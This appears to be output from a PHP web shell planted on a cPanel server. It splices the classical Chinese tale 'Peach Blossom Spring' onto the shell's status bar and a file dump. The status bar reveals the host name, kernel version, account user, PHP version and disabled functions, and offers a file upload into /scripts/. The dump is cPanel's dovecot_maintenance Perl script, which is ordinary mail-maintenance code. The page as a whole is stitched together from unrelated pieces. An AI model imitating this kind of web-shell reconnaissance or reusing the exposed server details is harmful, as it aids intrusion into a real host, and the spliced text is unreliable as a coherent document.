晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。 林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。 见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝) 既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。 南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。
|
Server : Apache System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64 User : rainic ( 1014) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system Directory : /scripts/ |
Upload File : |
#!/usr/local/cpanel/3rdparty/bin/perl
# cpanel - scripts/dovecot_maintenance Copyright 2022 cPanel, L.L.C.
# All rights reserved.
# copyright@cpanel.net http://cpanel.net
# This code is subject to the cPanel license. Unauthorized copying is prohibited
package scripts::dovecot_maintenance;
=pod
=head1 NAME
dovecot_maintenance - Run nightly maintenance for dovecot which includes
purging deleted messages from mdbox.
=head1 SYNOPSIS
/usr/local/cpanel/scripts/dovecot_maintenance [options]
Options:
--help This help message
--background Run in the background
=head1 DESCRIPTION
All deleted email will be purged from mdbox users
who have logged in since this script was last run.
This program will also purge all expired APNs
registrations
=cut
use strict;
use Cpanel::IONice ();
use Cpanel::PwCache ();
use Cpanel::PwCache::Build ();
use Cpanel::Config::LoadCpConf ();
use Cpanel::Config::LoadConfig ();
use Cpanel::ConfigFiles ();
use Cpanel::Dovecot ();
use Cpanel::Dovecot::Utils ();
use Cpanel::AdvConfig ();
use Cpanel::Locale ();
use Cpanel::AcctUtils::DomainOwner::Tiny ();
use Cpanel::AcctUtils::Lookup ();
use Cpanel::FileUtils::Open ();
use Cpanel::Email::Exists ();
use Cpanel::FileUtils::Dir ();
use Cpanel::SQLite::Compat ();
use DBD::SQLite ();
use Cpanel::DBI::SQLite ();
use Cpanel::APNS::Mail::DB ();
use File::Path ();
use Getopt::Long ();
use Pod::Usage ();
use Umask::Local ();
use Try::Tiny;
our $DAYS_TO_KEEP_APNS_REGISTRATIONS = 7;
my $background = 0;
my $help = 0;
unless ( caller() ) {
Getopt::Long::GetOptions( 'background' => \$background, 'help' => \$help );
Pod::Usage::pod2usage( -verbose => 2 ) if $help;
if ($background) {
require Cpanel::Daemonizer::Tiny;
my $pid = Cpanel::Daemonizer::Tiny::run_as_daemon(
sub {
####
# The next two calls are unchecked because it cannot be captured when running as a daemon
Cpanel::FileUtils::Open::sysopen_with_real_perms( \*STDERR, $Cpanel::ConfigFiles::CPANEL_ROOT . '/logs/error_log', 'O_WRONLY|O_APPEND|O_CREAT', 0600 );
open( STDOUT, '>&', \*STDERR ) || warn "Failed to redirect STDOUT to STDERR";
exit( __PACKAGE__->script() );
}
);
}
else {
exit( __PACKAGE__->script() );
}
}
our $DEFAULT_IO_NICE = 7;
sub script {
my ($class) = @_;
my $self = bless {}, $class;
$self->_init();
local $| = 1;
my $exit_status = 0;
# Order matters since for mdbox expunge will only mark it for purge
foreach my $op (qw(_purge_deleted_messages _purge_expired_xaps_registrations)) {
try {
$self->$op();
}
catch {
warn $_;
$exit_status = 1;
};
}
return $exit_status;
}
sub _init {
my ($self) = @_;
$self->{'mailbox_formats'} = scalar Cpanel::Config::LoadConfig::loadConfig( "/etc/mailbox_formats", undef, ": " );
$self->{'dovecot_conf'} = Cpanel::AdvConfig::load_app_conf('dovecot');
Cpanel::AcctUtils::DomainOwner::Tiny::build_domain_cache();
Cpanel::PwCache::Build::init_passwdless_pwcache();
return;
}
sub _ionice {
my ($self) = @_;
return if $self->{'did_ionice'};
$self->{'did_ionice'} = 1;
my $cpconf_ref = Cpanel::Config::LoadCpConf::loadcpconf();
if ( Cpanel::IONice::ionice( 'best-effort', exists $cpconf_ref->{'ionice_dovecot_maintenance'} ? $cpconf_ref->{'ionice_dovecot_maintenance'} : $$DEFAULT_IO_NICE ) ) {
print "[dovecot_maintenance] Setting I/O priority to reduce system load: " . Cpanel::IONice::get_ionice() . "\n";
}
return 1;
}
sub _purge_deleted_messages {
my ($self) = @_;
return if !-d $Cpanel::Dovecot::LASTLOGIN_DIR; # may not be created yet
my $nodes_ar = Cpanel::FileUtils::Dir::get_directory_nodes($Cpanel::Dovecot::LASTLOGIN_DIR);
my $locale = $self->_locale();
foreach my $username (@$nodes_ar) {
if ( index( $username, q{__cpanel__service__auth__} ) == -1 && $self->_has_mdbox($username) ) {
$self->_ionice();
print $locale->maketext( "Purging deleted messages for “[_1]” …", $username );
Cpanel::Dovecot::Utils::purge($username);
print $locale->maketext("Done") . "\n";
}
if ( -d "$Cpanel::Dovecot::LASTLOGIN_DIR/$username" ) {
# Handle user/sent logins
try {
File::Path::rmtree("$Cpanel::Dovecot::LASTLOGIN_DIR/$username");
}
catch {
local $@ = $_;
warn;
};
}
else {
# Handle normal logins
unlink("$Cpanel::Dovecot::LASTLOGIN_DIR/$username");
}
}
return 1;
}
sub _locale {
my ($self) = @_;
return ( $self->{'locale'} ||= Cpanel::Locale->get_handle() );
}
sub _has_mdbox {
my ( $self, $username ) = @_;
my $system_user;
# get_system_user generates an exception when the user or the
# domain does not exist. UserNotFound/DomainDoesNotExist.
#
# anything else is a fail
try {
$system_user = Cpanel::AcctUtils::Lookup::get_system_user($username);
}
catch {
local $@ = $_;
die if !try { $_->isa('Cpanel::Exception::UserNotFound') || $_->isa('Cpanel::Exception::DomainDoesNotExist') };
};
return 0 if !$system_user;
# The email account may have a different setting than the main account, so
# we check here.
if ( $username =~ tr{@}{} ) {
my ( $user, $domain ) = split /@/, $username;
my $homedir = Cpanel::PwCache::gethomedir($system_user);
# cannot have mdbox if there is no dir
if ( !-d "$homedir/mail/$domain/$user/storage" ) {
if ( !$! ) {
warn "“$homedir/mail/$domain/$user/storage” exists but isn’t a directory??";
}
elsif ( !$!{'ENOENT'} ) {
warn "stat($homedir/mail/$domain/$user/storage) as EUID $>: $!";
}
return 0;
}
my $size = ( stat("$homedir/mail/$domain/$user/mailbox_format.cpanel") )[7];
if ( !$size ) {
require Cpanel::AcctUtils::Lookup::MailUser;
# no mailbox_format.cpanel file? fallback to the logic
# we use to lookup a user
my $response;
try {
$response = Cpanel::AcctUtils::Lookup::MailUser::lookup_mail_user( $username, q{} );
}
catch {
local $@ = $_;
warn;
};
if ( $response && $response->{'user_info'}{'mailbox'}{'format'} eq 'mdbox' ) {
return 1;
}
return 0;
}
return $size == length 'mdbox' ? 1 : 0;
}
return $self->{'mailbox_formats'}->{$system_user} eq 'mdbox' ? 1 : 0;
}
sub _find_valid_users_from_query {
my ( $self, $query ) = @_;
my ( @valid, %invalid );
EXPIRED_ENTRY:
while ( my $entry = $query->fetchrow_hashref() ) {
local $@;
if (
!try {
my $system_user = Cpanel::AcctUtils::Lookup::get_system_user( $entry->{'username'} );
local $Cpanel::homedir = Cpanel::PwCache::gethomedir($system_user);
Cpanel::Email::Exists::pop_exists( split( q{@}, $entry->{'username'} ) );
}
) {
print "$entry->{'username'} does not exist. Removing stale entries.\n";
$invalid{ $entry->{'username'} } = 1;
next EXPIRED_ENTRY;
}
push @valid, $entry;
}
return ( \@valid, \%invalid );
}
sub _purge_expired_xaps_registrations {
my ($self) = @_;
return Cpanel::APNS::Mail::DB->new()->purge_registrations_older_than($DAYS_TO_KEEP_APNS_REGISTRATIONS);
}
1;